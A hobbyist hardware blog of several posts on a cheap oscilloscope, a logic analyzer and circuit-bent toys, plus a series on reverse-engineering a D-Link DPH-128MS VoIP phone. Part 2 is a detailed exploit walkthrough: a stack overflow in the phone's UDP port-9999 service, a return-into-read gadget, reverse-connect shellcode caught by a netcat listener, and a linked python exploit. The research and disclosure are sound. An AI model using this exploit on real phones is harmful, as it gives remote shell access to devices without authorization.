Tektronix 7633
Just a quick post about this awesome score I just made on Craigslist. I’ve been looking for a basic analog oscilloscope for a while. Everybody always seems to recommend the Tektronix 465. Go to eBay right now and you’ll see them selling from anywhere between $200 – $400 dollars. This seems ridiculous to me. Anyway I saw this on Craiglist the other day for $50 bucks and went straight out and picked it up.
This is a Tektronix 7633 modular oscilloscope. It came with a 7B53A Dual Time Base, a 7A18 75MHz Dual-Channel Amplifier and a 7A26 200 MHz Dual-Channel Amplifier. What all this means, is rather than just a basic two channel analog oscilloscope, I now have a fancy 4 channel scope with tons more functionality than a basic Tek 465. I’m still pouring over all the manuals but this thing has single shot triggers and does waveform storage of some sort and all sorts of stuff. Very fancy! New in the early 80s this baby cost anywhere from $5,000 – $10,000 dollars. Anyway, hopefully I’ll have more cool stuff to come using it.
D-Link DPH-128MS (update)
I wanted to post a quick update to give a big thank you to Paul Bartholomew. He grabbed a copy of the firmware and started looking things over. He took a look at the other custom app the phone runs act_sip. The act_sip app runs a web server on tcp port 9999 and lets you log in and configure the phone. He noted that on the page that lets you upload a mp3 file it looked like the server was only checking for a content-type of audio/mpeg. Sure enough he was correct. I’m currently just using Tamper Data in Firefox to intercept the post and change the content type, but it works! I can now upload code to the phone.
So far I’ve figured out how the LED lights work and how the LCD and LCD backlight work. Real quick I’ll go over drawing to the LCD. The phone has a 128×64 LCD. The upper left corner is pixel 0,0. There’s just one ioctl call that takes a character buffer and sends the data to the phone. The character buffer has a size of 0×400. Basically each byte represents 8 lines on the LCD. So you have to turn on the correct bit in the byte to get the correct y position. I have some code that basically looks like this.
#define IOCTL_LCD_FLUSH_SCREEN 0x1232
void LCDDrawPoint(char *buffer, int x, int y)
{
int pos = x + (128 * (y / 8));
int mask = 1 << (y % 8);
buffer[pos] |= mask;
}
int main(int argc, char *argv[])
{
int fd = open("/dev/lcddev", O_RDWR);
if (fd < 0)
exit(1);
char *buffer = malloc(0x400);
memset(buffer, 0, 0x400);
LCDDrawPoint(buffer, 12, 24);
ioctl(fd, IOCTL_LCD_FLUSH_SCREEN, buffer);
close(fd);
}
I’ll get some actual code together and post it in the next couple days. Right now I’m starting to focus more on the act_sip program since I’d like to know how it reads all the button presses on the phone. Ultimately the code I upload only stays resident on the /mnt/jffs2 partition which is really small. The rest of the filesystem is the ramdisk loaded on boot and ultimately, if I want to have a better busybox version installed, I’m going to need to rebuild the ramdisk and in turn the firmware. Flashing the phone though seems a lot more risky than just playing around.
D-Link DPH-128MS (Part 2)
So i failed to mention with the first post. After I found the tftpsrv, the first thing I did was to run the file commond on it and I got back this
tftpsrv: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV)
So knowing that, I set out to get some sort of Linux MIPS emulator running. Now again, this part I did over a year ago so I don’t remember all the details but I ended up finding a windows qemu build that supported MIPS here. I think that I installed a version of Debian that worked for big endian mips. I do seem to recall that if my executable had of been little endian it would have been a lot easier to get pre made qemu images.
Ok, no more stuff I did a year ago, now on to the real interesting stuff that I’ve been working on recently. I’ll include a zip file at the end of the post with all the files I’m talking about here for those that are interested.
I used objdump to split the exe into a bunch of text files I could read through. I ended up with the following:
tftpsrv.data.txt tftpsrv.got.txt tftpsrv.rodata.txt tftpsrv.strings.txt tftpsrv.sym.txt tftpsrv.text.txt
The strings file had all sorts of neat things in it, LEDInit, probe_recv(%d), tons of other network things, error messages and whatever else. I used a python script to go through my code in tftpsrv.text.txt and cross reference the strings file to get easier to read assembly. I also parsed the global offset table file and put comments in the assembly from that.
After doing all that I sorta lost interest in the firmware and decided to see if I could find any bugs with the program. So I checked through the symbols file for functions that might have bugs. An easy one to start with is strcpy. I wrote a python script called function_graph.py that parsed the .text file and generated an image of everything that called strcpy
One of the functions that called strcpy was probe_recv and for whatever reason it just caught my eye. So I set out to look at probe_recv and in turn the function I labeled run_server. Well it turned out that probe_recv would get called when a packet came in via UDP on port 9999. After looking at probe_recv I realized I could send a single ‘?’ to port 9999 and if it was a phone it would respond back with what kind of phone and what version firmware. That’s when I wrote the udp_9999.py script to scan for all phones running the specific version of firmware I was looking for.
After looking a little more at probe_recv and run_server, what stood out to me, instead of the strcpy call was this bit of code
402360: 27b00020 addiu s0,sp,32 402364: 02002021 move a0,s0 402368: 00002821 move a1,zero 40236c: 24060100 li a2,256 402370: 38620040 xori v0,v1,0x40 402374: 0002a02b sltu s4,zero,v0 402378: 8f998090 lw t9,-32624(gp) 40237c: 00000000 nop 402380: 0320f809 jalr t9 402384: 00000000 nop 402388: 8fbc0018 lw gp,24(sp) 40238c: 02002021 move a0,s0 402390: 26450002 addiu a1,s2,2 402394: 2631fffe addiu s1,s1,-2 402398: 02203021 move a2,s1 40239c: 8f9980ec lw t9,-32532(gp) 4023a0: 00000000 nop 4023a4: 0320f809 jalr t9 4023a8: 00000000 nop 4023ac: 8fbc0018 lw gp,24(sp) 4023b0: 02002021 move a0,s0 4023b4: 8f858020 lw a1,-32736(gp) 4023b8: 00000000 nop 4023bc: 24a5339c addiu a1,a1,13212 # "DPH-128MS" 4023c0: 02203021 move a2,s1 4023c4: 8f9981c8 lw t9,-32312(gp) 4023c8: 00000000 nop 4023cc: 0320f809 jalr t9 4023d0: 00000000 nop
The code was basically doing this
probe_recv(int fd, char *buffer, int sizeofbuffer)
{
...
char localbuffer[256];
memset(localbuffer, 0, 256);
memcpy(localbuffer, buffer, sizeofbuffer);
RC4Crypt(localbuffer, "DPH-128");
...
}
Ok, this code looked good, it was basically taking whatever size input the function was given and blindly copying it over it’s local variable that was on the stack. A classic buffer overflow. After looking back into the run_server function I saw that I was correct.
407034: 24060240 li a2,576 407038: 8fa402f0 lw a0,752(sp) 40703c: 8f93801c lw s3,-32740(gp) 407040: 00000000 nop 407044: 26731d50 addiu s3,s3,7504 407048: 00000000 nop 40704c: 02602821 move a1,s3 407050: 27b000e8 addiu s0,sp,232 407054: 02003821 move a3,s0 407058: 8f99827c lw t9,-32132(gp) 40705c: 00000000 nop 407060: 0320f809 jalr t9 407064: 00000000 nop 407068: 8fbc0018 lw gp,24(sp) 40706c: 00409021 move s2,v0 407070: 1a400834 blez s2,409144 407074: 02602821 move a1,s3 407078: 8fa402f0 lw a0,752(sp) 40707c: 02403021 move a2,s2 407080: 02003821 move a3,s0 407084: 8f998018 lw t9,-32744(gp) 407088: 00000000 nop 40708c: 27392230 addiu t9,t9,8752 # 0x402230 probe_recv 407090: 00000000 nop 407094: 0320f809 jalr t9 407098: 00000000 nop
So basically run_server was calling udp_recvfrom with a buffer that could hold 576 bytes, passing it into probe_recv and probe_recv then copied it blindly over it’s local variable that could only hold 256 bytes. I knew that this was what I needed. I had plenty of room to overlfow the localbuffer and then overwrite the return address that was stored on the stack. The only problem was I didn’t really know where to set my return address. I tried randomly picking places in the stack, but the stack was always in a different position and that never worked. I knew Id have to try something else. So I looked into some ROP techniques and decided that I could probably make that work. I also stumbled upon another brilliant article that suggested returning into some place in code that did a read call. That way, assuming I controlled what and where was being read I would know where to jump my code to. So two more important long assembly things to note. First, at the end of probe_recv in the function epilogue we have this.
40280c: 8fbc0018 lw gp,24(sp) 402810: 8fbf01e0 lw ra,480(sp) 402814: 8fb601d8 lw s6,472(sp) 402818: 8fb501d4 lw s5,468(sp) 40281c: 8fb401d0 lw s4,464(sp) 402820: 8fb301cc lw s3,460(sp) 402824: 8fb201c8 lw s2,456(sp) 402828: 8fb101c4 lw s1,452(sp) 40282c: 8fb001c0 lw s0,448(sp) 402830: 03e00008 jr ra 402834: 27bd01e8 addiu sp,sp,488
This is important because it means that not only was I controlling the ra register but also all of the s registers. So now I just had to find a read call that used the values from the registers. Nothing fancy in this next step, I literally just searched through the .text file looking at all the read calls. And bingo
40fb70: 04410009 bgez v0,40fb98 #JUMP HERE! 40fb74: 02002021 move a0,s0 ... 40fb98: 02202821 move a1,s1 40fb9c: 240600dc li a2,220 40fba0: 8f998048 lw t9,-32696(gp) 40fba4: 00000000 nop 40fba8: 0320f809 jalr t9 40fbac: 00000000 nop 40fbb0: 8fbc0010 lw gp,16(sp) 40fbb4: 0441000d bgez v0,40fbec ... 40fbec: 8fbf006c lw ra,108(sp) 40fbf0: 8fb10064 lw s1,100(sp) 40fbf4: 8fb00060 lw s0,96(sp) 40fbf8: 03e00008 jr ra 40fbfc: 27bd0070 addiu sp,sp,112
So couple things to remember here, with the MIPS instruction pipeline, when a branch happens the command after the branch still gets executed. So it just so happens that at the end of probe_recv v0 is greater than 0. So s0 is our file descriptor, s1 is our buffer and a2 always gets set to 220 bytes. So now we jump into read and set the app to wait for our next UDP packet to come in on port 9999. I set the buffer to write to the data segment at 0x10000000 and the second return address was still an address we overwrote in the buffer overflow so I set to to jump into my code at 0x10000000.
Huzzah, I could now run whatever code I wanted as long as it fit into 220 bytes. I googled some mips reverse connect shell code and pasted it into my exploit.py shell script. I set up my machine to run netcat listening on port 443, ran my python script and boom, the phone connected back to me.
Quick side note here, it took a lot more time than I just made it out to be to get my shellcode correct. I made it sound easy, but luckily I was able to run the tftpsrv exe in gdb on my qemu machine which made things super nice. I could inspect the stack to figure out my offsets and also test out the reverse connect shellcode. I got it working on my virtual machine and then the first time I ran it on the phone it didn’t actually work. Then I realized, the shell code was calling
execve("/bin/sh", NULL, NULL)
Which worked fine on my qemu machine but on the phone, which has busybox installed on it, /bin/sh is just a softlink and busybox inspects the argv parameter to figure out what it should actually run. So I changed it to to pass in a valid argv and then everything worked.
So I end up with this
nc -vv -l 443 Connection accepted dmesg ********************** start_cpu_imem = 0x80192000 ********************** Detected SD9218 (PRID: c401), Revision: 00, Chip ID: 00, 16 MB SDRAM. CPU revision is: 0000c401 64 entry TLB. Primary instruction cache 8kb, linesize 4 bytes Primary data cache 8kb, linesize 16 bytes Linux version: 2009.08.28-10:22+0000 Determined physical RAM map: memory: 01000000 @ 00000000 (usable) Initial ramdisk at: 0x801d0000 (863317 bytes) On node 0 totalpages: 4096 zone(0): 4096 pages. zone(1): 0 pages. zone(2): 0 pages. ============================= P123_OS V:01.00.05 2007.07.27 ============================= Kernel command line: Calibrating delay loop... 199.47 BogoMIPS MIPS CPU counter frequency is fixed at 3125000 Hz Memory: 13340k/16384k available (1580k kernel code, 3044k reserved, 974k data, 72k init) Dentry-cache hash table entries: 2048 (order: 2, 16384 bytes) Inode-cache hash table entries: 1024 (order: 1, 8192 bytes) Mount-cache hash table entries: 512 (order: 0, 4096 bytes) Buffer-cache hash table entries: 1024 (order: 0, 4096 bytes) Page-cache hash table entries: 4096 (order: 2, 16384 bytes) Checking for 'wait' instruction... unavailable. POSIX conformance testing by UNIFIX PCI: Probing PCI hardware on host bus 0. PCI: pcibios_fixup_bus Vendor: 0x1234 Device: 0x5678 Linux NET4.0 for Linux 2.4 Based upon Swansea University Computer Society NET3.039 Initializing RT netlink socket Starting kswapd Disabling the Out Of Memory Killer JFFS2 version 2.1. (C) 2001, 2002 Red Hat, Inc., designed by Axis Communications AB. SD9218 Uart driver version 0.1 (2003-07-25) with no serial options enabled ttyS00 at 0xb8000500 (irq = 23) is a SD9218 UART block: 64 slots per queue, batch=16 RAMDISK driver initialized: 16 RAM disks of 8192K size 1024 blocksize eth0, irq = 6, io_base = 0xb8001800 eth0: MII PHY found at address 2, status 0x786d advertising 0x05e1 Link 0x41e1. PPP generic driver version 2.4.2 PPP Deflate Compression module registered "amd" flash with ID 0x22a7 probed search_flash_region: part[0] flags=0x00000001 search_flash_region: part[1] flags=0x00000102 search_flash_region: part[2] flags=0x00000040 search_flash_region: part[3] flags=0x00000020 search_flash_region: part[4] flags=0x00000010 search_flash_region: part[5] flags=0x00000000 search_flash_region: part[6] flags=0x00000000 search_flash_region: part[7] flags=0x00000000 search_flash_region: part[8] flags=0x00000000 search_flash_region: part[9] flags=0x00000000 search_flash_region: part[10] flags=0x00000000 search_flash_region: part[11] flags=0x00000000 search_flash_region again for ramdisk+jffs2 case: part[0] flags=0x00000001 search_flash_region again for ramdisk+jffs2 case: part[1] flags=0x00000102 Creating 1 MTD partitions on "sg_flash": 0x00270000-0x003f0000 : "FileSystem" NET4: Linux TCP/IP 1.0 for NET4.0 IP Protocols: ICMP, UDP, TCP, IGMP IP: routing cache hash table of 512 buckets, 4Kbytes TCP: Hash tables configured (established 1024 bind 1024) EMAC:full_duplex = 1, speed = 1 IP-Config: Incomplete network configuration information. ip_conntrack (128 buckets, 1024 max) ip_tables: (c)2000 Netfilter core team NET4: Unix domain sockets 1.0/SMP for Linux NET4.0. NET4: Ethernet Bridge 008 for NET4.0 802.1Q VLAN Support v1.6 Ben Greear vlan Initialization complete. RAMDISK: Compressed image found at block 0 Freeing initrd memory: 843k freed VFS: Mounted root (ext2 filesystem). Freeing unused kernel memory: 72k freed Algorithmics/MIPS FPU Emulator v1.5 enter flash_open flash_open exit! enter flash_release enter flash_open flash_open exit! enter flash_release EMAC:full_duplex = 1, speed = 1 VEP_VoIP driver initialized. version 0.0.20, date:2006-09-19 enter flash_open flash_open exit! enter flash_release lcddev: open lcddev: open eardev: open eardev: close cat /proc/cpuinfo processor : 0 cpu model : R3000 V0.1 BogoMIPS : 199.47 wait instruction : no microsecond timers : no extra interrupt vector : no hardware watchpoint : no VCED exceptions : not available VCEI exceptions : not available ll emulations : 69792414 sc emulations : 69792414
So i can now connect to my phone and poke around. Some interesting things but here’s where I need your help. I have no way to get new commands on the phone. So far all the internet has turned up is to try to use echo with hex escapes but the busybox version on the phone doesn’t support that. So if anyone has any suggestions let me know. For now my plan is to go back to the firmware and work on making an updated firmware that I can flash to the phone with more commands available and a way to copy files.
Finally like I said earlier, here are all the files I mentioned in the article including the python exploit. The exploit itself is a little messy and you have to edit it by hand to point to the ips you want.
D-Link DPH-128MS (Part 1)
Alright, so at work a couple years back we got these fancy new VOIP phones. I immediately set into trying to figure things out to see what else we might do with them. I unfortunately set that project aside but just recently picked it back up. I figured I would post the info I found out in case anyone else was interested. I decided to split this into multiple posts in an attempt to keep the posts a little shorter. Anyways this first post is about the firmware.
So D-Link at one point made DPH-125MS and DPH-128MS phones that used Microsoft Response Point technology. As of right now, their website lists them as “phased out”. Since my phone is a DPH-128MS these posts talk specifically about that, but the firmware is similar and I’m sure the phones are similar hardware. The latest firmware can be downloaded from here:
If you unzip this, inside the folder you’ll find an interesting file called Firmware.xml and in there it says that it upgrades via tftp. I confirmed this by watching network traffic between my computer and the phone while upgrading. The xml file also says that full.img is the actual firmware file. So the first thing I did was to run strings on full.img. One of the first strings that I actually came across was this:
/home/mikko/release_p125/kernel/linux-2.4.17_mvl21/include/linux/dcache.h
Alright great, I know linux. Not only that, but it tells us what kernel it’s running and based on the mvl21 part we know it’s MontaVista Linux. Anyway the next thing I did was fire up a hex editor looking for magic numbers. That’s the next easiest thing to do. The very first number I found was 0x27051956. A quick google search says this is the magic number for u-boot. Quickly skimming over the u-boot format I can at least see that there’s two different things in this file. Something called ACT_Image_SD_P125_MSFT and something else called P125_MSFT_Kernel_Image.
Anyway rather than looking more into u-boot i just kept searching for magic numbers. Just sorta glancing through the file for spots where it looked like some data ended and other stuff started. I eventually also found the magic number for gzip and the magic number for jffs2.
Now here’s where everything gets a little fuzzy since I did this part when we originally got the phones. Basically though I just used the hex editor and manually extracted out the gzip part and the jffs2 part. The gzip part was clearly a ramdisk and most likely was a ramdisk embedded in the kernel image. I quickly checked out the ramdisk
gunzip ramdisk.gz mkdir ramdisk_dir mount -o loop ramdisk ramdisk_dir
Nothing terribly interesting, a bare bones linux system. Busybox, the usual stuff for small embedded systems. Next I set about checking out the jffs2 filesystem.
mkdir m modprobe mtdram total_size=24576 erase_size=128 cat /proc/mtd modprobe mtdblock dd if=jffs2.img of=/dev/mtdblock0 mount -t jffs2 /dev/mtdblock0 m
Now this is the image that was interesting. There was only a handful of files but the two that caught my eye were act_sip and tftpsrv. The act_sip seemed to most likely be the main voip app on the phone. tftpsrv was the app that I decided to focus my attention on since I was interested in possibly uploading new firmware.
Aaaand this is where I’ll stop part one. Now mind you, if I had of realized this was a u-boot image in the first place I probably could have just unpacked things and created a new ramdisk with some extra stuff and re-flashed the phone and as you’ll soon find out I might still have to do this. But I didn’t, I set off checking out tftpsrv and that’s what I’ll talk about in the next post.
logic analyzer
So in the most recent edition of Circuit Cellar, one of the things in the “new things” column was a $150 dollar logic analyzer. Most logic analyzers are really expensive and since this one seemed affordable I decided to check it out. The Saleae website has better information that I could ever describe, but basically it was a USB, 8 Channel, 25Mhz logic analyzer with a really slick looking user interface. I decided I would order one and give it a try. I received mine within maybe 2-3 days so I was very happy about the fast shipping. I immediately set out to unpack the thing and connect it to something. The closest thing I had on hand was a toy Dora The Explorer phone. I quickly opened it up and hooked the analyzer up to the flash EEPROM chip in it.
Originally I tried using the logic analyzer on my Macbook using VMWare Fusion and although all the software installed fine, the USB didn’t play nice. I kept getting buffer overruns and errors about telling me that I needed to use lower sampling rate. I decided that the slowdown on the virtual machine and the VMWare USB probably was the cause so I decided to install the software on my main Windows XP machine. The software installed easily and the interface is dead simple to use. Even on my real Windows XP machine though I still get errors about needing to use a lower sampling rate. I got this even without anything else connected on USB and no other applications running. I was disappointed about this but I hope that future software updates will make this better.
Overall though I was extremely happy. I was able to capture the reading of data from the EEPROM when I hit the buttons on the phone. I can only assume that this EEPROM is where the voice data is stored. I’m not sure though if it just stores the customizable name voice data or also all voice data used. This toy uses a bunch of Winbond PowerSpeech chips and Winbond doesn’t make information easy to come buy. Very neat though. I was able to easily see the clocking in of the address and read out of the data.
I did manage to find a datasheet for the EEPROM so I knew the pins and then I wrote a python script to decode the logic analyzer data into a file for me. So now I can take a better look at what is stored in the EEPROM. I would imagine also now that knowing exactly how I should talk to this chip I could hook it up myself to a micro controller and read the complete contents from it. I can’t wait to use the logic analyzer for more things and I wouldn’t hesitate to recommend the Saleae Logic product to any other hobbyist on a budget.
2008 malware challenge
Recently the NeoInfoSec guys put on a malware reverse engineering challenge. You can find out more information here. The winners still haven’t been announced because they’re still reviewing all the submissions. I have never analyzed malware before but I figured since I’d done a lot of reverse engineering I would give it a shot. Below is the link to the paper that I submitted.
vtech apple
I’ve also been looking into one of the VTech Apple toys. This toy also has buttons for each letter in the alphabet. The feel to the buttons on this toy is wonderful and I think rather than bend this I’d like to MIDIify it because it would make a rad drum controller. It wouldn’t be velocity sensative but still would be really neat.
This is a picture of the main board. What’s interesting about this is just like the vtech phonics pcb the main micro is on a separate board in the typical COB toy epoxy glob and then that breakout board just has a normal sort of DIP footprint soldered into the main board. I had not seen this before, but maybe since these are older toys this is what they used to do so they could re-use the same COB chip in multiple toys?
Here’s a shot of the main button board. I’m thinking I just need to throw an extra micro in the case and hook it up to the button board and then translate that to the MIDI messages. We’ll see how all of this goes.
One last quick thing. Anyone interested in awesome noise toys or just great kids toys should check out a recent post on GetLoFi. They tipped me off to Target selling $13 dollar touch sensitive toy guitars. I went out and bought one and it’s really amazing for only $13. I’m sure I could think of some great projects to do with it as well.
vtech phonics
So, I’ve been working on a couple different toys lately. One of them is a VTech Phonics toys. It has all the letters of the alphabet on it and a couple different shape buttons. I started to take this apart and then didn’t have any pots or switches small enough to fit in the case. For now here’s a picture of the main PCB. If you follow the link I’ve annotated some of the pins on the Flickr page.
atari punk console
This was an awesome little weekend project. It consists of mainly a 556 IC which is really two timer chips stuck together. It pretty much creates square waves. there’s a volume knob on the side that doesn’t seem to be very volumy? Maybe because I stuck two speakers in the box making it 4 ohms instead of one 8 ohm speaker. The knobs on top are for frequency and time between the square wave samples. Fun little toy and a way to kill some time on a Sunday evening. I’ve got a really awsome V-Tech phonics toy from my daughters that I’m working on now too.
bent button
So at work yesterday we got a button. All it is, is a big purple Yahoo button that someone got for free. You press the button and it plays Yahooooo really loud. Pretty boring. I figured I would open it up and show people how to smash their fingers on the resistors to change the pitch.
So I unscrewed the thing and took a look. Pretty simple thing, of course the IC chip is a COB item underneath a blob of epoxy. This makes it really hard to figure out fun things. Someone then pointed out that there seemed to be a little 3 pin socket on the bottom of the thing. As I stared at the thing I saw that one of the pins was labeled Rec. Hmmm, I wondered if it would be possible to re-record the button to be even more obnoxious. I took a couple minutes and inspected the rest of the pins. I had two pins going to the switch to make the thing play. I had a Pl pin that if I jammed a wire between it and the positive power supply it would play. Alright Pl pin is a Play pin. It plays as long as you pull the pin high. There was the Rec pin, an IC pin a GND pin, two pins for the speaker and then a pin going to the resistor.
We sat for a while jamming wires on things and pressing our fingers on the resistor annoying everyone in the office. Then I finally tried connecting the Rec pin to the positive rail. Oops no more Yahooooo sound. I figured I blew something up. But wait I realized there was no more Yahoo but just a hissing. The I realized that the IC pin had a hidden letter and was really a Mic pin. Aha, I’m an idiot, so this turns out to be just a little 10 second recorder chip. All you need to do is pull the Rec pin high and input a mic or something else to the Mic pin and it will record.
We quickly cut up a mini jack cord, plugged it into my iPod and then touched the Rec pin to the power pin and it worked, kinda. It was way to quiet. I realized that I would need to bring the thing home and solder some proper wires to it in order to get good clear connections for recording. So I came home and started tweaking. First thing I did was reconnect the switch to the Play pin, this way when someone hit the button it would only play as long as the button was held down. Seemed like a good way to keep it less annoying if someone recorded something long. Second thing I did was to splice in a button between the Rec pin and the power supply. This way I didn’t have to hold some wire every time I wanted to record. Then I connected a mini jack connector to the Mic pin so it would be easier to record things. The final step was to take the Dremel and make some holes for the new input jack and button
It came out pretty good. The only problem was the button didn’t hot glue to the case very well. So I ended up just keeping it outside the case until I get something better to attach it. The only thing left that would be cool to do would be to get a decent variable resistor so you can mess with the pitch while holding the button. Over all, a fun little project for the night.
